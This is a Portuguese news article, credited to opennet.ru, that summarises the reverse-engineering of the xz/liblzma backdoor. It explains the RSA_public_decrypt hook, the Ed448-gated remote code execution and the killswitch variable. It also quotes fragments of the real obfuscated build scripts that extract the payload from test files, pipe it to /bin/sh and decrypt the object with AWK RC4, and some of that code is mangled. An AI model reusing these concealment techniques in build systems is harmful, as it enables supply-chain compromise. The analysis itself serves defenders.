Estão disponíveis resultados preliminares de engenharia reversa de um arquivo objeto malicioso embutido no liblzma como parte de uma campanha de promoção de backdoor no pacote xz. O backdoor afeta apenas sistemas x86_64 baseados no kernel Linux e na biblioteca C Glibc, onde um patch adicional é aplicado ao sshd, permitindo a ligação com a biblioteca libsystemd para suportar o mecanismo sd_notify. Inicialmente, acreditava-se que o backdoor permitia contornar a autenticação no sshd e obter acesso ao sistema via SSH. Uma análise mais detalhada mostrou que esse não é o caso, e o backdoor fornece a capacidade de executar código arbitrário no sistema, sem deixar rastros nos logs do sshd.
Especificamente, a função RSA_public_decrypt interceptada pelo backdoor verifica a assinatura do host usando uma chave fixa Ed448 e, em caso de verificação bem-sucedida, executa o código fornecido por um host externo por meio da função system() antes da concessão de privilégios pelo processo sshd. Os dados que contêm o código para execução são extraídos do parâmetro "N" passado para a função RSA_public_decrypt (campo "n" da estrutura rsa_st, que contém a chave pública fornecida pelo host externo), verificados por soma de verificação e descriptografados com uma chave predeterminada ChaCha20 antes da verificação da assinatura digital Ed448.
Como um sinal para ativar o backdoor no sshd, usa-se o mecanismo padrão de troca de chaves de host. O backdoor explora o fato de que os certificados OpenSSH incluem a chave pública da entidade que gerou a assinatura, reagindo apenas à chave preparada pelo invasor, correspondente a uma chave fixa Ed448 predefinida. Se a verificação da assinatura pela chave pública falhar ou se a integridade dos dados para execução não for confirmada, o backdoor devolve o controle às funções padrão do SSH.
Como a chave privada do invasor é desconhecida, não é possível implementar um código de verificação que permita a terceiros ativar o backdoor e realizar um scanner de hosts comprometidos na rede. Pesquisadores desenvolveram um script que demonstra a técnica de substituição da chave pública por um conteúdo arbitrário no certificado OpenSSH transmitido pelo cliente SSH, que será processado na função RSA_public_decrypt interceptada pelo backdoor.
Os pesquisadores também notaram a presença de uma construção que desativa a backdoor (killswitch) no sistema local, na presença de uma variável de ambiente configurada antes do início do sshd, "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".
Além disso, pode-se notar a análise detalhada das construções shell usadas para embaralhar o processo de extração do arquivo objeto com a backdoor e sua substituição na biblioteca liblzma. Durante a construção do pacote xz a partir do script build-to-host.m4, um código era executado que encontrava entre os arquivos de teste o arquivo bad-3-corrupt_lzma2.xz, substituía alguns caracteres nele, transformava em um arquivo não corrompido e extraiu dele um script shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir\/ 2>\/dev\/null` … gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null' gl_path_map='tr "\t \-_" » \t_\-'
O script shell resultante extraía gradualmente do conteúdo do arquivo good-large_compressed.lzma outro script shell, passando por determinadas sequências com os comandos head e tail, e substituindo caracteres com o comando tr. ####Olá#### # alguns bytes binários aqui, mas como é um comentário, são ignorados [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir="..\/..\/$srcdir" fi export i="((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)";(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|\/bin\/sh ####Mundo####
O resultado foi a formação de um shell script bastante complexo e volumoso, que extrai diretamente um arquivo com o backdoor do arquivo good-large_compressed.lzma, descriptografa-o e o insere no liblzma. Entre outras coisas, o script continha a implementação de um mecanismo de plugins, permitindo posteriormente a entrega de componentes executáveis adicionais por meio do fornecimento de novos arquivos compactados de teste, sem modificar good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, mas utilizando a busca por assinatura. O código também utilizava um descriptografador baseado no algoritmo RC4, implementado na linguagem AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)\/\1\n\/g» | LC_ALL=C awk ‘BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Fonte: opennet.ru
